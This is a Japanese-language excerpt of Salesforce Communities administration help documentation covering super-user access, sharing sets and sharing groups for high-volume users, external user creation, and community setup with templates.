コミュニティのスーパーユーザアクセスの有効化
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コミュニティのスーパーユーザアクセスの有効化

エディション

Salesforce Communities を
使用可能なエディション:
Salesforce Classic

Salesforce Communities の
[設定] を使用可能なエディ
ション: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

スーパーユーザアクセス
を有効化する
• 「アプリケーションの

カスタマイズ」

スーパーユーザアクセスを有効化すると、コミュニティのパートナーユーザに
スーパーユーザアクセスを付与できます。スーパーユーザアクセスがあるパー
トナーユーザは、パートナーロール階層で同等のロールを持つ他のユーザのデー
タを参照できます。
パートナーコミュニティまたはカスタマーコミュニティプラスライセンスを持
つユーザにスーパーユーザアクセスを付与できます。
スーパーユーザアクセスをコミュニティの外部ユーザに付与すると、共有ルー
ルや組織の共有設定に関係なく、追加のデータおよびレコードにアクセスでき
るようになります。スーパーユーザは、スーパーユーザと同等またはそれ以下
のロールを持つ他のパートナーユーザが所有するデータにアクセスできます。
スーパーユーザアクセスは、ケース、リード、カスタムオブジェクト、および
商談にのみ適用されます。プロファイルまたは共有を使用して公開し、タブを
コミュニティに追加した場合のみ、外部ユーザにこれらのオブジェクトへのア
クセス権が付与されます。
1. [設定] から、[クイック検索] ボックスに「コミュニティ設定」と入力し、[コ

ミュニティ設定] を選択します。
2. [パートナースーパーユーザアクセスを有効化] を選択します。
3. [保存] をクリックします。
次に、個々のユーザにスーパーユーザアクセスを割り当てます。
スーパーユーザアクセスを無効化するには、[パートナースーパーユーザアクセ
スを有効化]を選択解除します。この機能を再度有効化すると、以前にスーパー
ユーザアクセスを割り当てられていたすべてのユーザにスーパーユーザアクセスが再度に付与されます。

コミュニティでのカスタマーユーザへのスーパーユーザアクセスの付与
コミュニティの外部ユーザが追加のレコードまたはデータにアクセスできるようにするため、スーパーユー
ザアクセスを有効化します。

関連トピック:

パートナーユーザへのスーパーユーザアクセスの付与
コミュニティでのカスタマーユーザへのスーパーユーザアクセスの付与

コミュニティでのカスタマーユーザへのスーパーユーザアクセスの付与
コミュニティの外部ユーザが追加のレコードまたはデータにアクセスできるようにするため、スーパーユーザ
アクセスを有効化します。
パートナーコミュニティまたはカスタマーコミュニティプラスライセンスを持つユーザにカスタマースーパー
ユーザアクセスを付与できます。
「ポータルスーパーユーザ」権限によって、外部ユーザの代理管理者は自分の取引先に対して次の処理を実行
できます。
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• すべてのケースの表示、編集、および移行
• 取引先責任者のケースの作成
• コミュニティ関連であるかどうかに関係なく、すべての取引先責任者の表示と編集
• ケースの取引先責任者である場合、取引先の詳細の参照
• コミュニティに [レポート] タブが追加されており、ユーザが「レポート実行」権限を持っている場合、ポー

タルが有効であるかどうかに関係なく、すべての取引先責任者のレポートの作成
「ポータルスーパーユーザ」権限を権限セットに追加し、それをカスタマーコミュニティプラスユーザに割り
当てると、そのユーザは自分の取引先にアクセスできるようになり、他の外部ユーザの管理権限がなくても、
その取引先のすべてのケースと取引先責任者の参照と編集ができます。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セット] を選択します。
2. 権限セットを作成またはコピーします。
3. [アプリケーション権限] セクションで、「ポータルスーパーユーザ」権限を追加します。
4. [保存] をクリックします。
5. [割り当ての管理] をクリックしてから適切なユーザを追加して、権限セットをカスタマーコミュニティプ

ラスユーザに割り当てます。

関連トピック:

コミュニティのスーパーユーザアクセスの有効化
パートナーユーザへのスーパーユーザアクセスの付与
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外部ユーザのレポートオプションの有効化

エディション

Salesforce Communities を
使用可能なエディション:
Salesforce Classic

Salesforce Communities の
[設定] を使用可能なエディ
ション: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

外部ユーザのレポートオ
プションを有効化する
• 「アプリケーションの

カスタマイズ」

「レポート実行」権限があり、パートナーコミュニティライセンスまたはカス
タマーコミュニティプラスライセンスを持つ外部ユーザは、レポートオプショ
ンを参照および変更して、レポートの集計や絞り込みを行うことができます。
1. [設定] から、[クイック検索] ボックスに「コミュニティ設定」と入力し、[コ

ミュニティ設定] を選択します。
2. [外部ユーザのレポートオプションを有効化] を選択します。
3. [保存] をクリックします。
「レポート実行」権限があり、パートナーコミュニティライセンスまたはカス
タマーコミュニティプラスライセンスを持つ外部ユーザは、レポート実行ペー
ジでレポートオプションを表示できるようになりました。

関連トピック:

レポート実行ページ

共有セットの概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

共有セットを使用して、取引先または取引先責任者に関連付けられているレコー
ドへのアクセス権をユーザプロファイルに基づいてポータルまたはコミュニティ
ユーザに付与します。
以前は、共有セットを使用して、ユーザの取引先または取引先責任者と一致す
る取引先または取引先責任者への参照項目を持つすべてのレコードへのアクセ
ス権を付与していました。Spring '14 では、ユーザおよび対象レコードから取引
先または取引先責任者への間接参照をサポートする共有セットのアクセスマッ
ピングを使用して、アクセス権の付与方法を決定することもできます。アクセ
スマッピングで使用するオブジェクトを決定できます。また、どちらも取引先
または取引先責任者を指し示す必要があります。
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たとえば、次のような場合に共有セットを使用できます。
• 取引先または取引先責任者レコードに関連するすべてのケースへのアクセス権をユーザに付与する。
• ユーザの取引先または取引先責任者レコードで識別される親取引先または取引先責任者に関連するすべて

のケースへのアクセス権をユーザに付与する。
共有セットを使用して、取引先、取引先責任者、ケース、サービス契約、ユーザ、カスタムオブジェクトへの
アクセス権を付与できます。共有セットは、次のユーザプロファイルと共に使用できます。
• 認証 Web サイト
• カスタマーコミュニティユーザ
• カスタマーコミュニティログインユーザ
• 大規模カスタマーポータル
• 大規模ポータル
• Overage Authenticated Website ユーザ
• Overage High Volume Customer Portal ユーザ
次の例は、ケースに直接関連付けられていなくても、取引先のエンタイトルメントに関連付けられているすべ
てのケースへのアクセス権をポータルまたはコミュニティユーザに付与する共有セットのアクセスマッピング
を示しています。

例: 

1. ポータルまたはコミュニティユーザの取引先ルックアップ
2. エンタイトルメントの関連取引先
3. ケースのエンタイトルメントルックアップ
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メモ: ポータルまたはコミュニティユーザは、アクセス権のある取引先のすべての注文エンタイトル
メントおよび注文品目へのアクセス権が付与されます。大規模ポータルユーザが所有するレコード
を共有するには、代わりに共有グループを使用します。

関連トピック:

大規模ポータルユーザへのレコードアクセス権の付与
大規模ポータルまたはコミュニティユーザへのユーザレコードアクセス権の付与
大規模コミュニティユーザについて
大規模コミュニティユーザへのレコードアクセス権の付与
大規模コミュニティユーザが所有するレコードの共有

大規模コミュニティユーザについて

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

大規模コミュニティユーザは、数千から数百万のコミュニティユーザを抱える
組織を対象とする、アクセス制限されたユーザです。
他のコミュニティユーザと異なり、大規模コミュニティユーザにはロールはあ
りません。そのため、ロール階層の計算に関連するパフォーマンス上の問題が
なくなります。大規模コミュニティユーザには、カスタマーコミュニティ、大
規模カスタマーポータル、および認証 Web サイトのライセンスの種類が含まれ
ます。

特徴
大規模コミュニティユーザには、次の特徴があります。
• コミュニティにアクセスできる取引先責任者である。
• カスタマーコミュニティ、大規模カスタマーポータル、または認証 Web サイトライセンスが割り当てられ

ている。
• 所有するレコードは、共有グループの Salesforce ユーザのみと共有する。

レコードへのアクセス
大規模コミュニティユーザは、次のいずれかの条件を満たす場合に、レコードにアクセスできます。
• 自分が所属する取引先に対する「更新」アクセス権がある。
• レコードを所有している。
• レコードの親にアクセスでき、そのレコードに対する組織の共有設定が「親レコードに連動」である。
• そのオブジェクトに対する組織の共有設定が「公開/参照のみ」または「公開/参照・更新可能」である。
システム管理者は、共有セットを作成して大規模コミュニティユーザにレコードへの追加アクセス権を付与で
きます。詳細は、「大規模コミュニティユーザへのレコードアクセス権の付与」を参照してください。
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制限事項
• 大規模コミュニティユーザは、所有するレコードまたはアクセス権のあるレコードの共有を直接設定する

ことはできません。
• 大規模コミュニティユーザ以外から大規模コミュニティユーザにケースを移行することはできません。
• 大規模コミュニティユーザは取引先を所有できません。
• 大規模コミュニティユーザが所有するケースにケースチームを追加することはできません。
• 大規模コミュニティユーザを次に含めることはできません。

– 非公開グループまたは公開グループ。
– 共有ルール。
– 取引先チーム、商談チーム、またはケースチーム。
– Salesforce CRM Content ライブラリ。
これらの制限は、大規模コミュニティユーザが所有するレコードにも適用されます。

• 大規模コミュニティユーザをテリトリーに割り当てることはできません。

関連トピック:

大規模コミュニティユーザが所有するレコードの共有

大規模コミュニティユーザへのレコードアクセス権の付与

エディション

Salesforce Communities を
使用可能なエディション:
Salesforce Classic

Salesforce Communities の
[設定] を使用可能なエディ
ション: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

大規模コミュニティユー
ザにレコードへのアクセ
ス権を付与する
• 「アプリケーションの

カスタマイズ」

共有セットを使用して大規模コミュニティユーザにレコードへのアクセス権を
付与します。
共有セットによって、大規模ユーザに対し、そのユーザの取引先または取引先
責任者と一致する取引先または取引先責任者に関連付けられたレコードへのア
クセス権が付与されます。ユーザおよび対象レコードから取引先または取引先
責任者の間接参照をサポートする共有セットのアクセスマッピングを介してレ
コードへのアクセス権を付与することもできます。たとえば、ユーザの取引先
責任者レコードで識別された取引先に関連するすべてのケースへのアクセス権
をユーザに付与できます。
共有セットは、大規模コミュニティユーザがメンバーとなっているすべてのコ
ミュニティに適用されます。大規模コミュニティユーザは、カスタマーコミュ
ニティユーザライセンスまたは大規模ポータルユーザライセンスのいずれかを
持っています。詳細は、Salesforce ヘルプの「共有セットの概要」を参照してく
ださい。
[共有設定] ページの [コミュニティユーザ表示] チェックボックスをオフにして
いる場合、同じコミュニティの選択したユーザにアクセス権を付与するには、
一般的に共有セットを作成します。
1. [設定] から、[クイック検索] ボックスに「コミュニティ設定」と入力し、[コ

ミュニティ設定] を選択します。
2. [共有セット] 関連リストで、[新規]をクリックして共有セットを作成するか、

既存の共有セットの横にある [編集] をクリックします。
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3. [共有セットの編集] ページで、[表示ラベル] および [共有セット名] 項目を入力します。[表示ラベル] は、
ユーザインターフェースに表示される共有セットの表示ラベルです。[共有セット名] は、API が使用する一
意の名前です。

4. 説明を入力します。
5. アクセス権を付与するユーザのプロファイルを選択します。
6. アクセス権を与えるオブジェクトを選択します。

[利用可能なオブジェクト] リストに、次のオブジェクトは含まれません。
• 組織の共有設定が「公開/参照・更新可能」になっているオブジェクト
• 取引先または取引先責任者の参照項目を持たないカスタムオブジェクト

7. [アクセス権の設定] セクションで、オブジェクト名の横にある [設定] または [編集] をクリックし、選択し
たプロファイルに対するアクセス権を設定します。または、[削除] をクリックして、オブジェクトからア
クセス権の設定を削除します。

メモ:  [アクション] 列に [設定]があるオブジェクトは、大規模ユーザ用の設定になっていません。オブ
ジェクトを設定するまで、大規模ユーザにはそのレコードに対するアクセスが制限されるか、アクセ
ス権がありません。

8. 取引先または取引先責任者ルックアップに基づいてアクセスを許可します。
• [ユーザ] ドロップダウンリストで値を選択して、ユーザの取引先ルックアップまたは取引先責任者ルッ

クアップを決定します。
• [対象オブジェクト] 項目で値を選択して、対象オブジェクトの取引先ルックアップまたは取引先責任者

ルックアップを決定します。
たとえば、ユーザの取引先責任者レコードで識別された取引先に関連付けられているすべてのケースへの
アクセス権を付与するには、Contact.Account と Account をそれぞれ選択します。

メモ: 選択した両方の項目は、取引先または取引先責任者のいずれかを指し示している必要がありま
す。たとえば、Contact.Account と Entitlement.Account はどちらも取引先を指し示していま
す。

9. 「参照のみ」または「参照・更新」のアクセスレベルを選択します。(オブジェクトの組織の共有設定が
「公開/参照のみ」の場合、選択できるのは「参照・更新」のみです)。

10. [更新] をクリックし、[保存] をクリックします。
共有セットを作成したら、共有グループを作成して、大規模コミュニティユーザが作成したレコードへのアク
セス権を他のユーザに付与します。

関連トピック:

大規模コミュニティユーザについて
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大規模コミュニティユーザが所有するレコードの共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

大規模コミュニティユー
ザが所有するレコードを
他のユーザと共有する
• 「アプリケーションの

カスタマイズ」

共有グループを使用すると、大規模コミュニティユーザが所有するレコードを、
コミュニティで内部ユーザおよび外部ユーザと共有できます。
大規模ユーザは、数千から数百万の外部ユーザを抱える組織を対象とする、ア
クセス制限されたユーザです。他の外部ユーザと異なり、大規模ユーザにはロー
ルはありません。そのため、ロール階層の計算に関連するパフォーマンス上の
問題がなくなります。Salesforce ユーザはロール階層内に存在するのに対し、大
規模コミュニティユーザはロール階層内に存在しないため、共有グループを使
用して、大規模コミュニティユーザが所有するレコードにアクセス可能なSalesforce

の他の外部ユーザを指定できます。
共有グループは、コミュニティにまたがって適用されます。
コミュニティに共有グループを設定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「コミュニティ設定」と入力し、[コ

ミュニティ設定] を選択します。
2. [大規模コミュニティユーザの共有設定] 関連リストで、既存の共有セットの

横にある [編集] をクリックします。
3. [共有グループ設定] タブをクリックします。
4. [有効化] をクリックして共有グループを有効にします。

共有グループの有効化には時間がかかる場合があります。処理が完了すると、メールが送信されます。

メモ: 共有グループを無効にすると、大規模コミュニティユーザが所有するレコードへの他のユーザ
のアクセス権がすべて削除されます。無効化プロセスが完了しても、メールは送信されません。

5. [編集] をクリックし、ユーザを共有グループに追加します。大規模ユーザと同じ親取引先を持つ外部ユー
ザだけでなく、組織の内部ユーザも追加できます。
a. [検索] ドロップダウンリストから、追加するメンバーの種別を選択します。
b. 追加するメンバーが見つからない場合は、検索ボックスにキーワードを入力し、[検索]をクリックしま

す。
c. [共有可能なユーザ] ボックスからメンバーを選択し、[追加] をクリックすると、そのメンバーがグルー

プに追加されます。
d. [保存] をクリックします。

関連トピック:

大規模コミュニティユーザについて
大規模コミュニティユーザへのレコードアクセス権の付与
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コミュニティ設定の基礎

コミュニティユーザの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パートナーユーザを作成
する
• 「外部ユーザの管理」

カスタマーユーザを作成
する
• 「外部ユーザの管理」

または

「セルフサービスユー
ザの編集」

重要: カスタ
マーユーザを作
成するときは、
新しい取引先責
任者を関連付け
る取引先に、
ロールが割り当
てられた取引先
所有者が必要で
す。

外部ユーザとしてログイ
ンする
• 「ユーザの管理」

および

取引先に対する「編
集」

外部ユーザがコミュニティにアクセスできるようにするには、外部ユーザを取
引先責任者レコードとして取引先に追加し、取引先責任者レコードをビジネス
関係に応じてカスタマーユーザまたはパートナーユーザとして有効化します。
ユーザの作成について次の点に留意してください。
• 取引先責任者レコードを外部ユーザとして有効にする場合、ビジネス関係に

応じてパートナーコミュニティ、カスタマーコミュニティ、またはカスタ
マーコミュニティプラスライセンスを割り当てることができます。

• パートナー取引先にできるのは (個人取引先ではなく) 法人取引先のみです。
また、パートナーユーザの作成にはパートナー取引先しか使用できません。

•

1. 取引先レコードで、コミュニティに追加するユーザの取引先責任者レ
コードを表示または追加します。

2. 取引先責任者の詳細ページで [外部ユーザの管理] をクリックし、[パー
トナーユーザを有効化]または [カスタマーユーザを有効化] をクリック
します。
これにより、取引先責任者レコードから一部の詳細が入力されて、
Salesforce 組織にユーザレコードが作成されます。

メモ:  [パートナーユーザを有効化] または [カスタマーユーザを有効
化] ボタンが表示されない場合は、これらのボタンが取引先責任者
ページレイアウトに含まれているかどうかをシステム管理者に確認
してください。ボタンが含まれている場合、組織でカスタマーコ
ミュニティライセンスまたはパートナーコミュニティライセンスが
使用できるようになっていることを確認してください。

3. この外部ユーザのユーザレコードを編集し、適切なユーザライセンスを
割り当てます (パートナーにはパートナーコミュニティ、カスタマーユー
ザにはカスタマーコミュニティまたはカスタマーコミュニティプラス)。

4. パートナーまたはカスタマーユーザの適切なプロファイルとロールを選
択します。

メモ: 適切なタブが公開されるプロファイルが選択されていること
を確認します。また、各カスタマー取引先またはパートナー取引先
にロール階層が関連付けられていることも確認します。すべてのカ
スタマーユーザロールおよびパートナーユーザロールは取引先所有
者に積み上げ集計されます。

5. 外部ユーザを追加するコミュニティをまだ有効化していない場合、[パ
スワードをリセットしてユーザにすぐに通知する] を選択解除して、コ
ミュニティが有効になる前にユーザにパスワードが送信されないようにします。
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• ユーザにすぐに通知するように選択しても、ユーザが有効なコミュニティのメンバーでない場合、
Salesforce からメールは送信されません。

• コミュニティを有効化するときに[お知らせメールを送信]オプションを選択すると、ログイン情報が記
載されたお知らせメールを送信できます。

• コミュニティを有効化するときにお知らせメールを送信しない場合、この情報を手動でユーザに送信す
る必要があります。

6. [保存] をクリックします。
• カスタマーユーザまたはパートナーユーザは、直接 Salesforce にログインできないため、コミュニティを使

用して Salesforce データにアクセスする必要があります。カスタマーユーザまたはパートナーユーザをコミュ
ニティに追加するには、ユーザプロファイルをコミュニティに追加します。

• カスタマーユーザには、取引先または取引先責任者に関する [メモ & 添付ファイル] 関連リストは表示され
ません。

• カスタマーコミュニティプラスライセンスを持つ外部ユーザの作成は、パートナーユーザの作成と似てい
ます。取引先責任者レコードで、[外部ユーザの管理]、[パートナーユーザを有効化]の順に選択します。ま
た、ユーザレコードの編集時には、パートナーコミュニティユーザプロファイルか、パートナーコミュニ
ティユーザプロファイルからコピーしたプロファイルを選択します。

• 問題をトラブルシューティングしたり、コミュニティが適切に設定されていることを確認したりするには、
取引先責任者の詳細ページで [外部ユーザの管理] をクリックし、[パートナーユーザとしてログイン] また
は [カスタマーユーザとしてログイン] を選択します。パートナーユーザまたはカスタマーユーザとしてロ
グインするには、取引先に対する「編集」権限が必要です。新しいブラウザウィンドウが開き、外部ユー
ザの代理としてコミュニティにログインできます。

• 外部ユーザとしてログインすると、外部ユーザに表示される動作が表示されます。たとえば、外部ユーザ
には、複数の有効なコミュニティへのアクセス権がある場合にのみ、[コミュニティ] ドロップダウンメ
ニューが表示されます。また、1 つの有効なコミュニティにしか属していない外部ユーザにプレビューコ
ミュニティの URL が与えられている場合、プレビューコミュニティではドロップダウンメニューは表示さ
れません。

• セキュリティ対策として、システム管理者が他のユーザとしてログインしている間は、そのユーザの OAuth

データアクセスを承認できません。たとえば、サードパーティアプリケーションへのシングルサインオン
など、ユーザアカウントへの OAuth アクセスを承認できません。

• 外部ユーザは削除できません。外部ユーザがコミュニティにアクセスできないようにするには、そのユー
ザを無効化します。

関連トピック:

外部ユーザの代理管理
コミュニティへのメンバーの追加
外部コミュニティメンバーがログイン情報を取得する方法は?

コミュニティの外部ユーザのパスワードのリセット
パートナーユーザロール
コミュニティから送信されるメールのカスタマイズ
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コミュニティの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

ビジネスニーズを満たすミュニティテンプレートを選択できるようにするウィ
ザードを使用してコミュニティを作成します。
組織に作成できるコミュニティの数は、[設定] の [すべてのコミュニティ] ページ
に表示されます。
1. コミュニティの作成を開始するには、[設定] から [クイック検索]ボックスに

「コミュニティ」と入力し、[すべてのコミュニティ] を選択してから、[新規
コミュニティ] をクリックします。
コミュニティ作成ウィザードが表示され、さまざまな標準搭載のテンプレー
トオプションから選択できます。組織で Lightning Bolt ソリューションを使用
できる場合、ウィザードでも表示されます。

2. テンプレートの詳細を表示するには、そのテンプレートを選択します。
カスタマーサービス (Napili)

高機能で応答性の高いセルフサービステンプレートで、ユーザがコミュ
ニティへの質問の投稿、記事の検索および表示、コラボレーション、ケー
スの作成によるサポートエージェントへの問い合わせを行うことができ
ます。ナレッジ、Chatter の質問、およびケースをサポートします。

Salesforce タブ + Visualforce

Salesforce の標準の構造およびタブで、Visualforce を使用してカスタマイズ
できます。柔軟な設定を使用してプラットフォームのフルアクセスを許
可します。開発者経験と高度な設定スキルが必要です。ほとんどの標準
オブジェクト、カスタムオブジェクト、および Salesforce1 がサポートされています。Salesforce タブ +

Visualforce テンプレートは、コミュニティビルダーと併用することができません。
Kokua

顧客との簡単なやりとりの処理に最適なグラフィックベースのコミュニティです。コミュニティメン
バーは記事の検索と表示、サポートへの問い合わせを行うことができます。ナレッジを必要とし、ケー
スをサポートします。

Koa

顧客との簡単なやりとりの処理に最適なテキストベースのコミュニティです。コミュニティメンバーは
記事の検索と表示、サポートへの問い合わせを行うことができます。ナレッジを必要とし、ケースをサ
ポートします。

Aloha

アプリケーションランチャーの設定可能なテンプレートで、ユーザがシングルサインオン認証 (ソーシャ
ルログインを含む) を使用してアプリケーションをすばやく見つけ、アクセスできます。

3. 使用するテンプレートを選択します。
4.  テンプレートの説明と主要な機能を読み、[使用を開始する] をクリックします。
5. Koa または Kokua を選択した場合は、テンプレートのカテゴリや会社名を指定してから [次へ] をクリックし

ます。
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データカテゴリグループ名
サイトのデータカテゴリが含まれるデータカテゴリグループの一意の名前です。名前にはコミュニティ
に設定したカテゴリ階層が反映されており、記事を整理するためにサイト全体で使用されます。

最上位カテゴリ
表示する最上位カテゴリです。コミュニティにはこのカテゴリの子のみが表示されます。このカテゴリ
より上位に複数のカテゴリレイヤをネストできますが、ページにはこのカテゴリが親、そのサブカテゴ
リが子として表示されます。

会社名
コミュニティヘッダーに表示する会社の名前です。

6. コミュニティ名を入力します。

メモ: 複数のコミュニティを作成している場合は、コミュニティ名がグローバルヘッダードロップダ
ウンメニューで切り捨てられることがあります。名前は 32 文字まで表示され、[プレビュー] および
[無効]状況インジケータでは、その文字数までカウントされます。名前の表示部分が、複数のコミュ
ニティを区別するのに十分であることを確認してください。

7. URL 項目の最後に一意の値を入力します。
この値は、コミュニティを有効化してこのコミュニティに一意の URL を作成するときに入力したドメイン
に付加されます。たとえば、ドメインが UniversalTelco.force.comで、顧客コミュニティを作成して
いる場合、URL を UniversalTelco.force.com/customers と指定できます。

メモ: カスタム URL がない組織では、1 つのコミュニティを作成できます。
コミュニティ名と URL はコミュニティを有効にした後に変更できますが、ユーザは新しい URL にリダ
イレクトされません。このような変更が必要な場合は、変更する前にコミュニティメンバーに通知し
てください。

8. [作成] をクリックします。
コミュニティは、[プレビュー] 状況で作成されます。これで、コミュニティの構築とカスタマイズ、また
は管理とモデレートを行う準備ができました。

コミュニティを作成するときに、ログイン、セルフ登録、パスワードの変更、パスワードを忘れた場合、およ
びホームページのデフォルトページがコミュニティテンプレートに基づいて設定されます。これらのデフォル
トページは、[コミュニティ管理]またはコミュニティワークスペースでいつでもカスタマイズまたは変更でき
ます。

重要: コミュニティを作成すると、アクセス権を持つプロファイルのリストにプロファイルが自動的に追
加されます。このため、このプロファイルを持つ組織内の全ユーザは、[有効]状況になった時点でコミュ
ニティにログインできます。プロファイルを持つすべてのユーザにコミュニティへのアクセス権を許可
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しない場合は、プロファイルを削除し、異なるプロファイルまたは権限セットを使用して自分にアクセ
ス権を付与できます。

関連トピック:

Salesforce Communities の概要
コミュニティのカスタマイズ
組織で持つことができるコミュニティの数は?

コミュニティテンプレートで使用できる機能の比較
実装ガイド: テンプレートを使用したコミュニティの作成
実装ガイド: Salesforce Identity の Aloha コミュニティテンプレートの使用開始

組織で持つことができるコミュニティの数は?

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce組織では、最大100個のコミュニティを使用できます。有効なコミュニ
ティ、無効なコミュニティ、およびプレビューコミュニティ (Force.comサイトを
含む) がこの制限に対してカウントされます。
組織のこの制限を確認するには、[設定] から、[クイック検索] ボックスに「コ
ミュニティ」と入力し、[すべてのコミュニティ] を選択します。[最大コミュニ
ティ数] 項目に 100 と表示されます。

関連トピック:

コミュニティの作成
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事前設定済みのテンプレートを使用したコミュニティの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、公開する
• コミュニティの作成お

よび設定

記事タイプと記事アク
ションを作成する
• 「Salesforce ナレッジ

の管理」

データカテゴリを作成す
る
• 「データカテゴリの管

理」

コミュニティを作成して、コミュニティに適用するテンプレートを選択します。
テンプレートおよびコミュニティのプロパティを 1 か所で定義してから、コミュ
ニティビルダーを使用してコミュニティの設計と整理を完了します。
1. [設定] から、[クイック検索]ボックスに「すべてのコミュニティ」と入力し、

[すべてのコミュニティ] を選択して [新規コミュニティ] をクリックします。
コミュニティ作成ウィザードが表示され、さまざまな標準搭載のテンプレー
トオプションから選択できます。組織で使用可能なLightning Bolt ソリューショ
ンがある場合、ウィザードにそのソリューションも表示されます。

2. テンプレートの詳細を表示するには、そのテンプレートを選択します。
カスタマーサービス (Napili)

高機能で応答性の高いセルフサービステンプレートで、ユーザがコミュ
ニティへの質問の投稿、記事の検索および表示、コラボレーション、ケー
スの作成によるサポートエージェントへの問い合わせを行うことができ
ます。ナレッジ、Chatter の質問、およびケースをサポートします。

Salesforce タブ + Visualforce

Salesforce の標準の構造およびタブで、Visualforce を使用してカスタマイズ
できます。柔軟な設定を使用してプラットフォームのフルアクセスを許
可します。開発者経験と高度な設定スキルが必要です。ほとんどの標準
オブジェクト、カスタムオブジェクト、および Salesforce1がサポートされ
ています。Salesforce タブ + Visualforce テンプレートは、コミュニティビル
ダーと併用することができません。

Kokua

顧客との簡単なやりとりの処理に最適なグラフィックベースのコミュニ
ティです。コミュニティメンバーは記事の検索と表示、サポートへの問
い合わせを行うことができます。ナレッジを必要とし、ケースをサポートします。

Koa

顧客との簡単なやりとりの処理に最適なテキストベースのコミュニティです。コミュニティメンバーは
記事の検索と表示、サポートへの問い合わせを行うことができます。ナレッジを必要とし、ケースをサ
ポートします。

Aloha

アプリケーションランチャーの設定可能なテンプレートで、ユーザがシングルサインオン認証 (ソーシャ
ルログインを含む) を使用してアプリケーションをすばやく見つけ、アクセスできます。

3. 使用するテンプレートを選択します。
4.  テンプレートの説明と主要な機能を読み、[使用を開始する] をクリックします。
5. Koa または Kokua を選択した場合は、テンプレートのカテゴリや会社名を指定してから [次へ] をクリックし

ます。
データカテゴリグループ名

サイトのデータカテゴリが含まれるデータカテゴリグループの一意の名前です。名前にはコミュニティ
に設定したカテゴリ階層が反映されており、記事を整理するためにサイト全体で使用されます。
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最上位カテゴリ
表示する最上位カテゴリです。コミュニティにはこのカテゴリの子のみが表示されます。このカテゴリ
より上位に複数のカテゴリレイヤをネストできますが、ページにはこのカテゴリが親、そのサブカテゴ
リが子として表示されます。

会社名
ヘッダーに表示する会社の名前です。

6. コミュニティの名前と URL (省略可能) を入力します。
このオプションを選択すると、コミュニティの設定がこのステップで作成したカスタムページの URL で自
動的に更新されます。このログインページは、コミュニティ設定の別のログインページで上書きできます。

7. [作成] をクリックします。
コミュニティは、プレビュー状況で作成されます。これで、コミュニティの構築とカスタマイズ、または
管理とモデレートを行う準備ができました。

重要: コミュニティを作成すると、アクセス権を持つプロファイルのリストにプロファイルが自動的に追
加されます。このため、このプロファイルを持つ組織内の全ユーザは、[有効]状況になった時点でコミュ
ニティにログインできます。プロファイルを持つすべてのユーザにコミュニティへのアクセス権を許可
しない場合は、プロファイルを削除し、異なるプロファイルまたは権限セットを使用して自分にアクセ
ス権を付与できます。

関連トピック:

コミュニティビルダーのナビゲーション
コミュニティビルダーを使用したコミュニティのブランド設定
実装ガイド: Salesforce Identity の Aloha コミュニティテンプレートの使用開始
コミュニティビルダーの概要
コミュニティビルダーでのコミュニティページおよびコンポーネントの編集
コミュニティビルダーでのコミュニティのページとそのプロパティの管理
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コミュニティのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティワークス
ペースまたは [コミュニ
ティ管理] にアクセスする
• 「コミュニティ管理に

アクセス」または「コ
ミュニティの管理」ま
たは「コミュニティの
作成および設定」

• およびコミュニティの
メンバーであること

モデレーションルールお
よび条件にアクセスする
• 「コミュニティの管

理」または「コミュニ
ティの作成および設
定」

• およびコミュニティの
メンバーであること

管理設定をカスタマイズ
する、またはコミュニ
ティビルダーを使用する
• 「コミュニティの作成

および設定」
• およびコミュニティの

メンバーであること

コミュニティワークスペースまたは [コミュニティ管理] の [管理] セクションの
URL、コミュニティ名、メンバー、ログインオプション、および一般的な設定な
どのコミュニティの基本設定を更新します。
コミュニティはいつでもカスタマイズできますが、大幅な変更を加える場合は、
まずコミュニティを無効化することをお勧めします。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] をクリックし、コミュニティのカスタマイズする部分を選択します。

重要: [コミュニティ管理] またはコミュニティワークスペースで使用で
きるオプションは、コミュニティテンプレートの選択、権限、設定に基
づきます。たとえば、コミュニティでトピックを使用しない場合は、[ト
ピック] セクションは表示されません。次のリストのオプションの一部
が、コミュニティに表示されない場合があります。すべてのセクション
を表示するには、[管理] > [個人設定]に移動して [コミュニティ管理のす
べての設定を表示]または[コミュニティワークスペースのすべての設定
を表示] を有効化します。

• メンバー
• タブ
• ブランド
• ログイン & 登録
• メール
• ページ
• 個人設定
• 設定

3. [プレビュー] 状況のまま、コミュニティを関係者と共有するには、[管理] >

[設定] ページに表示される URL をコピーして共有します。
これにより、関係者からフィードバックを取得でき、早期参加メンバーがレ
コードに対する投稿、コメント、共有を行うことができるため、メンバーは
最初にログインしたときから活発なコミュニティに参加できます。
URL は、コミュニティのメンバーとして追加したユーザのみと共有できます。

カスタマイズが完了したら、コミュニティを有効化して、メンバーが使用でき
